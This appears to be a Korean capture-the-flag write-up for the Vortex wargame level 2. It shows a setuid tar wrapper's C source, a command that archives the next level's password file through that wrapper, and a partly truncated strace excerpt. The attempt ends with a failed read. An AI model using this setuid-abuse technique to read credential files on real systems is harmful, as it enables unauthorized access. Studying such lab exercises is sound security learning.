vortex2
Vortex Level 2 → Level 3
Level Goal
Create a special tar file
Helpful Reading Material
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
int main(int argc, char **argv)
{
char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
execv(args[0], args);
}
소스를 해석하자면 execv 함수로 다음의 명령을 실행한다.
/bin/tar -cf /tmp/ownership.$$.tar argv[1] argv[2] argv[3]
tar 에 c옵션은 새로운 tar파일을 만드는거고 f옵션은 작업대상이 되는 tar파일의 이름을 지정한다.
그럼 프로그램에 setuid가 걸려있으므로, 이 문제는 vortex3의 패스워드파일을 tar파일로 만들면 될것이다.
참고로 만들어지는 파일명은 $$에 프로세스 id가 들어간다.
vortex2@melinda:/games/vortex$ ./vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names
[ 7ffff78f9535] fcntl(1, F_GETFD) = 0
[ 7ffff78f9535] fcntl(2, F_GETFD) = 0
[ 7ffff78485a5] rt_sigaction(SIGCHLD, {SIG_DFL, [CHLD], SA_RESTORER|SA_RESTAR T, 0x7ffff78484a0}, {SIG_DFL, [], 0}, 8) = 0
[ 7ffff78f9850] creat("/tmp/ownership.$$.tar", 0666) = 3
[ 7ffff78f8994] fstat(3, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
[ 7ffff7ffaa54] clock_gettime(CLOCK_REALTIME, {1400659610, 859251200}) = 0
[ 7ffff78f8afa] newfstatat(AT_FDCWD, "vortex3", {st_mode=S_IFREG|0400, st_siz
확인해보니 그냥 $$로 생성.
그럼 읽어보자.
vortex2@melinda:/tmp$ cat ownership.$$.tar
cat: ownership.17772.tar: No such file or directory